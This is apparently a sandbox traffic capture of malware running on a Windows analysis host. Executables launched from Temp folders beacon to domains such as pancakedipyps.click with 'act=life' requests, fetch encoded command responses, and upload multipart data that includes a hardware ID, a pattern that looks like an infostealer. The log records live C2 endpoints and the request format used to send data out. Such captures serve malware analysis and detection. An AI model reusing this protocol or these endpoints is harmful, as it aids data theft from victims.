0	192.168.2.6	49880	104.21.64.80	443	6112	C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 10:47:43 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: grannyejh.lat
2024-12-18 10:47:43 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-18 10:47:44 UTC	1025	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 10:47:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lqf6b12drsv3ma4mrreefv2716; expires=Sun, 13-Apr-2025 04:34:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NafVkSE49css8EnEoYPXsGivA%2BJkjBEjyk9w957D3THOVuCrHClrHQyBK3zWpS35OOUeLvULQugmjgtepEzLQRTbOKwXSC7Njg3s9Nkg5zKVnhQJjjrqFM2QPhd3NOnC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3e938f3a948c83-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1819&min_rtt=1813&rtt_var=692&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=904&delivery_rate=1568206&cwnd=189&unsent_bytes=0&cid=47903bbfdbf57719&ts=1080&x=0"
2024-12-18 10:47:44 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-18 10:47:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49908	98.85.100.80	443	3220	C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 10:47:54 UTC	52	OUT	GET /ip HTTP/1.1 Host: httpbin.org Accept: /
2024-12-18 10:47:55 UTC	224	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 10:47:55 GMT Content-Type: application/json Content-Length: 31 Connection: close Server: gunicorn/19.9.0 Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
2024-12-18 10:47:55 UTC	31	IN	Data Raw: 7b 0a 20 20 22 6f 72 69 67 69 6e 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 0a 7d 0a Data Ascii: { "origin": "8.46.123.189"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49930	172.67.209.202	443	4544	C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 10:48:02 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: pancakedipyps.click
2024-12-18 10:48:02 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-18 10:48:05 UTC	1039	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 10:48:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=653ugek5cbk2lb8rpocoji1mnu; expires=Sun, 13-Apr-2025 04:34:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FqJXOswj204n1dFUWWCIrJnpcRLjeuISjmtjiZFAUK%2F1Ox%2BpQrP4Y4SpcA%2BXM9jK5zmjDXXavq4zfwBa%2F9eiy2ZcSHazJGWoJhZgi6sAHioG0Eoc8qUGMbRvkbZQeSKIvBL5O7E6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3e940c09e8424b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1606&min_rtt=1594&rtt_var=623&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=910&delivery_rate=1720683&cwnd=248&unsent_bytes=0&cid=5f71c90ed2d633ed&ts=2456&x=0"
2024-12-18 10:48:05 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-18 10:48:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49941	172.67.209.202	443	4544	C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 10:48:06 UTC	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 46 Host: pancakedipyps.click
2024-12-18 10:48:06 UTC	46	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 46 41 54 45 39 39 2d 2d 74 65 73 74 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=FATE99--test&j=
2024-12-18 10:48:08 UTC	1036	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 10:48:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fia53cjd58vtsj2qv0rktuko24; expires=Sun, 13-Apr-2025 04:34:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6wJscHg7L4RTX3gx9knqaTcINyG0%2BrLWQufmEF973W%2BNThQmNLCJtOy2NpfQmNGPQOTvprYizp0ffxN5Tom84xCCIf6l9HTFsGaw0QoOWLMw9%2F3yr5YruTE7Y3pxBEeBOBMCOsnu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3e9423491f43b0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1777&min_rtt=1773&rtt_var=668&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=949&delivery_rate=1646926&cwnd=32&unsent_bytes=0&cid=02d3ab6670e3741c&ts=2168&x=0"
2024-12-18 10:48:08 UTC	333	IN	Data Raw: 34 64 38 0d 0a 59 66 68 49 46 6f 75 59 66 41 64 38 73 37 37 30 6c 39 6f 37 70 7a 73 38 70 6a 37 49 73 77 42 48 75 6b 50 6d 77 65 4f 49 7a 48 34 61 32 6a 34 30 73 61 78 51 4a 51 2f 57 6e 4d 37 6a 71 45 37 43 46 78 37 48 57 75 71 4a 5a 69 62 57 4d 49 50 74 77 66 36 68 58 46 75 65 4b 58 72 34 2f 56 41 6c 47 63 75 63 7a 73 79 68 47 63 4a 56 48 70 77 63 72 64 6c 69 4a 74 59 68 68 36 71 4d 2b 4b 41 64 43 5a 51 76 66 75 37 37 47 47 59 51 33 74 75 52 38 72 74 52 79 56 4a 52 7a 6c 50 71 6e 79 49 69 77 47 48 63 34 36 37 74 75 42 38 73 6d 54 74 39 71 65 56 51 66 46 37 57 30 4e 61 74 2b 46 72 43 57 56 44 41 57 71 50 62 61 43 2f 65 49 49 4b 72 6b 2b 47 71 46 67 6d 61 4c 48 2f 6b 38 67 78 72 47 74 6e 51 6c 2f 69 37 47 59 73 5a 57 64 77 63 38 70 45 78 46 39 73 77 6c 62 Data Ascii: 4d8YfhIFouYfAd8s770l9o7pzs8pj7IswBHukPmweOIzH4a2j40saxQJQ/WnM7jqE7CFx7HWuqJZibWMIPtwf6hXFueKXr4/VAlGcuczsyhGcJVHpwcrdliJtYhh6qM+KAdCZQvfu77GGYQ3tuR8rtRyVJRzlPqnyIiwGHc467tuB8smTt9qeVQfF7W0Nat+FrCWVDAWqPbaC/eIIKrk+GqFgmaLH/k8gxrGtnQl/i7GYsZWdwc8pExF9swlb
2024-12-18 10:48:08 UTC	914	IN	Data Raw: 62 7a 53 59 50 73 71 36 77 65 32 69 58 46 76 61 4c 48 72 6f 39 78 35 33 46 74 72 58 6b 2b 65 7a 55 4d 68 55 58 73 6c 57 70 64 4a 69 49 74 49 72 69 36 6d 46 35 36 4d 61 41 35 70 71 4f 71 6e 39 42 69 56 47 6b 66 2b 54 35 62 39 56 30 78 74 6b 68 45 50 6b 79 43 49 69 31 47 48 63 34 34 6e 76 72 52 38 49 6c 53 6c 38 34 75 67 65 64 78 6a 63 32 59 54 7a 76 56 66 50 57 6b 7a 4f 55 71 7a 53 61 79 37 52 4a 49 4f 6e 77 61 54 75 47 78 76 61 63 6a 54 49 39 78 56 70 46 4d 62 63 31 75 72 32 51 49 56 65 55 6f 51 45 36 74 56 6a 49 64 6b 6c 69 71 32 46 35 71 67 53 44 70 55 73 66 75 6e 39 46 47 30 57 30 4e 47 64 2b 72 68 63 79 46 31 59 79 46 32 76 6b 53 78 6c 33 7a 6e 45 2b 38 48 45 71 52 38 52 32 42 39 33 35 2f 51 5a 63 31 37 4f 6b 6f 2b 31 76 31 57 46 41 52 37 4b 57 61 58 Data Ascii: bzSYPsq6we2iXFvaLHro9x53FtrXk+ezUMhUXslWpdJiItIri6mF56MaA5pqOqn9BiVGkf+T5b9V0xtkhEPkyCIi1GHc44nvrR8IlSl84ugedxjc2YTzvVfPWkzOUqzSay7RJIOnwaTuGxvacjTI9xVpFMbc1ur2QIVeUoQE6tVjIdkliq2F5qgSDpUsfun9FG0W0NGd+rhcyF1YyF2vkSxl3znE+8HEqR8R2B935/QZc17Oko+1v1WFAR7KWaX
2024-12-18 10:48:08 UTC	1369	IN	Data Raw: 34 34 34 34 0d 0a 4b 33 66 70 38 42 42 71 46 4e 6e 55 6c 76 69 35 55 73 31 66 55 38 39 54 70 64 5a 71 4a 74 51 6b 69 61 44 42 70 4f 34 62 47 39 70 79 4e 4d 7a 30 48 58 51 50 6b 2b 6d 56 2b 37 5a 65 30 78 6c 42 69 6b 58 71 31 6d 35 6c 67 47 47 4f 70 49 62 75 6f 78 59 41 6e 69 35 35 35 76 4d 58 62 41 7a 62 30 4a 6a 6e 74 56 50 41 56 31 4c 42 55 36 72 51 59 79 76 53 4b 73 54 74 77 65 32 32 58 46 76 61 42 58 6e 35 36 42 52 75 44 35 50 70 6c 66 75 32 58 74 4d 5a 51 59 70 46 36 74 5a 75 5a 59 42 68 6a 36 57 4e 35 71 34 61 45 5a 51 6c 5a 75 50 6f 47 6d 73 61 33 64 4b 66 2b 4c 64 63 31 31 31 65 31 6c 32 76 31 6d 77 6f 79 69 54 45 37 63 48 74 74 6c 78 62 32 68 42 41 37 75 6f 50 59 6c 7a 6b 33 35 6a 37 76 30 2b 46 52 68 44 64 48 4b 33 64 49 6e 32 59 49 6f 69 75 69 Data Ascii: 4444K3fp8BBqFNnUlvi5Us1fU89TpdZqJtQkiaDBpO4bG9pyNMz0HXQPk+mV+7Ze0xlBikXq1m5lgGGOpIbuoxYAni555vMXbAzb0JjntVPAV1LBU6rQYyvSKsTtwe22XFvaBXn56BRuD5Pplfu2XtMZQYpF6tZuZYBhj6WN5q4aEZQlZuPoGmsa3dKf+Ldc111e1l2v1mwoyiTE7cHttlxb2hBA7uoPYlzk35j7v0+FRhDdHK3dIn2YIoiui
2024-12-18 10:48:08 UTC	1369	IN	Data Raw: 50 32 6e 49 30 34 2b 67 62 61 78 72 62 32 5a 4c 35 73 6c 6e 41 53 31 62 43 57 36 62 5a 5a 79 72 65 4a 49 6d 6b 69 75 6d 38 44 67 43 65 4a 48 69 70 74 46 35 69 42 70 47 45 31 74 43 76 57 74 56 66 58 59 52 44 35 4d 67 69 49 74 52 68 33 4f 4f 42 35 4b 49 58 42 4a 45 68 63 4f 33 36 45 32 34 51 33 39 57 61 2f 62 52 65 31 31 52 62 7a 46 61 6a 31 47 34 6f 32 7a 4f 48 6f 73 47 6b 37 68 73 62 32 6e 49 30 7a 73 6b 70 52 6c 37 4f 6b 6f 2b 31 76 31 57 46 41 52 37 46 56 4b 33 66 5a 6a 66 57 4d 34 71 6b 67 65 79 6d 46 41 53 57 4a 48 72 37 38 68 39 6c 45 4e 37 55 6e 2f 47 35 58 63 46 56 57 59 51 53 36 74 5a 36 5a 59 42 68 72 4b 43 62 38 4f 77 79 43 4a 6f 74 5a 50 2f 68 58 6e 70 51 79 4a 79 52 2b 66 67 42 68 56 31 56 7a 6c 57 70 32 47 59 6f 32 43 69 4c 71 6f 6e 6e 70 67 Data Ascii: P2nI04+gbaxrb2ZL5slnAS1bCW6bZZyreJImkium8DgCeJHiptF5iBpGE1tCvWtVfXYRD5MgiItRh3OOB5KIXBJEhcO36E24Q39Wa/bRe11RbzFaj1G4o2zOHosGk7hsb2nI0zskpRl7Oko+1v1WFAR7FVK3fZjfWM4qkgeymFASWJHr78h9lEN7Un/G5XcFVWYQS6tZ6ZYBhrKCb8OwyCJotZP/hXnpQyJyR+fgBhV1VzlWp2GYo2CiLqonnpg
2024-12-18 10:48:08 UTC	1369	IN	Data Raw: 63 66 76 39 45 6d 38 52 30 74 53 62 39 72 42 4c 78 56 52 65 31 6b 36 73 32 6d 78 6c 6c 6d 47 44 75 38 47 79 37 69 30 55 6b 57 70 72 70 2b 4e 65 59 68 4b 52 68 4e 62 32 73 6c 54 4c 53 31 72 43 56 36 6e 66 61 69 44 51 4a 59 36 75 6a 75 47 6b 46 51 75 61 4a 58 48 68 38 52 68 72 48 39 66 51 6d 37 58 32 47 63 4a 42 48 70 77 63 6a 63 74 76 49 38 38 77 73 61 53 42 75 2b 34 44 54 59 4e 71 63 2b 57 36 52 69 55 54 33 64 61 62 38 4c 78 52 77 6c 70 66 79 46 69 6e 33 47 59 73 33 43 53 57 73 59 66 6b 72 68 4d 4e 6c 53 5a 6d 35 2f 38 65 61 56 36 66 6e 4a 48 74 2b 41 47 46 61 45 6e 45 48 4c 57 66 65 32 58 66 4c 63 54 37 77 65 57 6a 44 67 2b 56 4b 6e 58 71 2f 68 56 69 47 4e 66 64 6c 66 43 37 58 4d 4e 59 58 73 68 57 72 64 6c 6f 4b 39 55 6e 67 4b 57 48 71 75 42 63 42 49 4a Data Ascii: cfv9Em8R0tSb9rBLxVRe1k6s2mxllmGDu8Gy7i0UkWprp+NeYhKRhNb2slTLS1rCV6nfaiDQJY6ujuGkFQuaJXHh8RhrH9fQm7X2GcJBHpwcjctvI88wsaSBu+4DTYNqc+W6RiUT3dab8LxRwlpfyFin3GYs3CSWsYfkrhMNlSZm5/8eaV6fnJHt+AGFaEnEHLWfe2XfLcT7weWjDg+VKnXq/hViGNfdlfC7XMNYXshWrdloK9UngKWHquBcBIJ
2024-12-18 10:48:08 UTC	1369	IN	Data Raw: 78 70 72 47 74 62 63 6d 76 71 2f 55 63 70 64 58 73 73 63 35 4a 46 6c 50 5a 68 35 78 49 4f 4b 2f 49 38 53 43 49 68 71 61 36 66 6a 58 6d 49 53 6b 59 54 57 2b 37 46 59 7a 56 64 53 7a 46 69 34 30 57 6b 73 31 79 43 4c 6f 34 4c 72 70 42 51 52 6e 43 70 2f 34 66 30 57 59 52 44 44 33 5a 6d 31 39 68 6e 43 51 52 36 63 48 4a 76 48 5a 53 4c 58 59 36 32 6b 6d 75 75 6b 48 77 69 57 61 6d 75 6e 34 31 35 69 45 70 47 45 31 76 69 30 56 4d 46 4c 55 73 52 63 6f 39 5a 6f 4e 39 63 75 69 61 43 42 37 37 77 64 45 5a 55 68 63 65 72 2b 45 57 6f 53 32 64 62 57 75 2f 68 65 33 52 6b 47 68 48 43 70 77 47 68 6e 2f 7a 75 53 70 49 33 37 70 52 45 50 32 6a 55 36 38 4c 6f 5a 61 56 36 4a 6e 4a 62 30 74 55 76 41 57 46 54 4f 55 61 4c 65 5a 79 44 58 4a 59 43 6f 6a 2f 69 67 45 77 4f 63 49 58 58 73 Data Ascii: xprGtbcmvq/UcpdXssc5JFlPZh5xIOK/I8SCIhqa6fjXmISkYTW+7FYzVdSzFi40Wks1yCLo4LrpBQRnCp/4f0WYRDD3Zm19hnCQR6cHJvHZSLXY62kmuukHwiWamun415iEpGE1vi0VMFLUsRco9ZoN9cuiaCB77wdEZUhcer+EWoS2dbWu/he3RkGhHCpwGhn/zuSpI37pREP2jU68LoZaV6JnJb0tUvAWFTOUaLeZyDXJYCoj/igEwOcIXXs
2024-12-18 10:48:08 UTC	1369	IN	Data Raw: 48 66 30 5a 33 78 73 56 7a 4e 57 6c 76 42 56 71 62 64 59 79 33 52 4b 34 47 6d 68 2b 43 74 45 67 79 62 4a 6e 44 67 39 42 63 6c 55 4a 48 62 6a 72 58 67 47 66 4e 4a 57 64 78 52 75 70 4e 51 4a 73 6b 77 6b 61 36 52 37 4f 77 7a 41 4a 59 70 63 65 37 71 58 6e 70 51 79 4a 79 52 2b 66 67 42 68 56 6c 61 79 46 2b 74 33 32 30 6f 31 79 61 50 72 49 76 6b 76 42 4d 47 6b 69 5a 38 35 4f 67 55 62 77 7a 59 31 5a 76 37 73 45 76 47 47 52 43 45 57 37 4b 52 4f 6d 58 71 4b 34 65 76 6c 2b 65 68 58 42 7a 55 4d 7a 54 75 39 6c 34 39 58 73 50 4f 6c 76 36 34 58 73 74 4c 58 38 78 54 6f 4e 46 6b 4c 74 49 69 6a 61 65 50 34 36 67 64 44 70 73 72 64 4f 7a 36 46 33 63 54 6b 5a 4c 57 38 71 41 5a 6e 52 6c 70 79 46 65 62 30 6e 52 6c 78 32 2b 64 34 34 62 6d 37 6b 52 44 6d 7a 68 35 34 66 34 65 61 Data Ascii: Hf0Z3xsVzNWlvBVqbdYy3RK4Gmh+CtEgybJnDg9BclUJHbjrXgGfNJWdxRupNQJskwka6R7OwzAJYpce7qXnpQyJyR+fgBhVlayF+t320o1yaPrIvkvBMGkiZ85OgUbwzY1Zv7sEvGGRCEW7KROmXqK4evl+ehXBzUMzTu9l49XsPOlv64XstLX8xToNFkLtIijaeP46gdDpsrdOz6F3cTkZLW8qAZnRlpyFeb0nRlx2+d44bm7kRDmzh54f4ea
2024-12-18 10:48:08 UTC	1369	IN	Data Raw: 57 72 65 6f 58 68 55 73 65 6e 42 7a 74 30 6e 41 33 33 69 4b 53 6f 4d 62 55 6b 44 77 49 6a 43 74 35 34 76 59 67 57 77 76 53 30 70 6a 79 72 6b 69 46 46 78 37 4c 48 50 4c 6f 49 6d 32 59 48 73 72 6a 6d 61 72 32 58 44 61 5a 4a 48 72 75 37 41 38 6f 50 74 72 4b 6c 2f 69 7a 56 59 64 59 55 39 52 62 36 70 38 69 49 35 68 35 31 4f 33 42 37 72 39 63 57 38 70 34 4c 37 79 70 53 54 56 4d 7a 70 4b 50 74 61 34 5a 6e 51 73 51 68 45 37 71 69 53 4a 69 32 7a 4f 57 70 59 4c 38 72 56 73 39 70 41 70 2f 35 66 6b 53 5a 42 6d 52 6b 74 62 36 2b 41 48 38 47 56 33 57 54 75 58 41 64 43 6a 49 4a 73 69 72 6b 4f 65 69 58 45 33 61 5a 6e 44 69 39 68 74 69 44 70 37 4f 68 76 36 30 54 34 6c 64 54 49 51 53 36 73 42 70 4b 73 6f 76 67 2b 79 51 2f 4b 4d 4d 41 4a 38 74 4f 4f 48 72 45 32 6c 65 6e 35 Data Ascii: WreoXhUsenBzt0nA33iKSoMbUkDwIjCt54vYgWwvS0pjyrkiFFx7LHPLoIm2YHsrjmar2XDaZJHru7A8oPtrKl/izVYdYU9Rb6p8iI5h51O3B7r9cW8p4L7ypSTVMzpKPta4ZnQsQhE7qiSJi2zOWpYL8rVs9pAp/5fkSZBmRktb6+AH8GV3WTuXAdCjIJsirkOeiXE3aZnDi9htiDp7Ohv60T4ldTIQS6sBpKsovg+yQ/KMMAJ8tOOHrE2len5
2024-12-18 10:48:08 UTC	1369	IN	Data Raw: 59 49 56 49 56 4d 4d 51 34 70 31 7a 4e 74 59 71 6b 71 54 42 31 65 42 63 47 39 70 79 4e 4e 7a 35 45 47 73 5a 78 38 33 62 30 37 74 65 77 31 70 51 30 30 33 71 6e 79 49 6a 6d 48 6e 57 37 63 48 75 76 31 78 62 79 6e 67 76 76 4b 6c 4a 4e 55 7a 4f 6b 6f 2b 31 72 68 6d 64 43 68 43 45 54 75 71 4a 49 6d 4c 57 4c 49 57 67 6a 2b 6d 38 44 67 57 5a 50 48 65 75 78 43 42 41 45 39 7a 5a 6d 50 4b 47 5a 2b 52 54 54 73 6c 54 72 65 39 63 45 73 6b 6d 6c 4f 47 6e 36 62 67 66 51 39 52 71 62 4b 6d 69 58 6b 51 55 77 64 47 5a 38 76 67 58 68 56 30 65 6e 42 79 50 33 47 38 67 31 69 62 47 67 6f 76 36 6f 78 4d 45 32 6d 51 30 35 62 70 47 4a 52 2f 62 7a 4a 76 36 76 78 58 43 51 31 6d 45 45 75 72 66 49 6e 32 59 49 49 36 7a 6a 4f 57 70 55 41 57 55 4a 44 54 32 74 41 63 6c 43 4a 47 45 78 62 76 Data Ascii: YIVIVMMQ4p1zNtYqkqTB1eBcG9pyNNz5EGsZx83b07tew1pQ003qnyIjmHnW7cHuv1xbyngvvKlJNUzOko+1rhmdChCETuqJImLWLIWgj+m8DgWZPHeuxCBAE9zZmPKGZ+RTTslTre9cEskmlOGn6bgfQ9RqbKmiXkQUwdGZ8vgXhV0enByP3G8g1ibGgov6oxME2mQ05bpGJR/bzJv6vxXCQ1mEEurfIn2YII6zjOWpUAWUJDT2tAclCJGExbv

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49955	172.67.209.202	443	4544	C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 10:48:11 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=74PNI4XZW2S User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12816 Host: pancakedipyps.click
2024-12-18 10:48:11 UTC	12816	OUT	Data Raw: 2d 2d 37 34 50 4e 49 34 58 5a 57 32 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 37 31 36 42 30 33 45 37 42 33 36 33 41 46 31 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 37 34 50 4e 49 34 58 5a 57 32 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 37 34 50 4e 49 34 58 5a 57 32 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 37 34 50 4e 49 34 58 5a 57 32 53 0d 0a 43 6f 6e 74 65 Data Ascii: --74PNI4XZW2SContent-Disposition: form-data; name="hwid"F716B03E7B363AF1AC8923850305D13E--74PNI4XZW2SContent-Disposition: form-data; name="pid"2--74PNI4XZW2SContent-Disposition: form-data; name="lid"FATE99--test--74PNI4XZW2SConte
2024-12-18 10:48:13 UTC	1048	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 10:48:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mpqeft7ojaf4420gh96igkios3; expires=Sun, 13-Apr-2025 04:34:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3Xdj9bw%2FhKM01uu9OqDtZsFp%2BCdBrTyG%2Fi2wV0YtA8imtFavl3mcPXprt1o6sZb%2BWm%2BZYPpUB2p5S45nw%2F3jfzZNZO3gPTe3SoWAliUQJHFNOVEfh90828Ex2JtyiPtLKts5SJ%2Bc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3e943e2b5a420a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1550&min_rtt=1541&rtt_var=597&sent=9&recv=17&lost=0&retrans=0&sent_bytes=2847&recv_bytes=13752&delivery_rate=1803582&cwnd=251&unsent_bytes=0&cid=3f315f6e137dc8ce&ts=2748&x=0"
2024-12-18 10:48:13 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 10:48:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49967	172.67.209.202	443	4544	C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 10:48:15 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=28WX2WOCTWQ107PD User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15092 Host: pancakedipyps.click
2024-12-18 10:48:15 UTC	15092	OUT	Data Raw: 2d 2d 32 38 57 58 32 57 4f 43 54 57 51 31 30 37 50 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 37 31 36 42 30 33 45 37 42 33 36 33 41 46 31 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 32 38 57 58 32 57 4f 43 54 57 51 31 30 37 50 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 32 38 57 58 32 57 4f 43 54 57 51 31 30 37 50 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 32 38 57 Data Ascii: --28WX2WOCTWQ107PDContent-Disposition: form-data; name="hwid"F716B03E7B363AF1AC8923850305D13E--28WX2WOCTWQ107PDContent-Disposition: form-data; name="pid"2--28WX2WOCTWQ107PDContent-Disposition: form-data; name="lid"FATE99--test--28W
2024-12-18 10:48:17 UTC	1044	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 10:48:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vbbfgkf1cmnmnr69prfb6h0aio; expires=Sun, 13-Apr-2025 04:34:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YR%2BCQTseAiHXp0FNagV6hg1Vj30V3y8EzXfB8dvQF0qWEGdUsjzeiwoG92wBCPYEV72rKzgO3DF4zcOrsOKZuss0MmJrm3x3vfdZBKp8iCL6UOYb8V2sMaxLicqPDU0r%2FMaNFO%2FP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3e94598ca24291-EWR alt-svc: h3=":443"; ma=86400 server-timing: 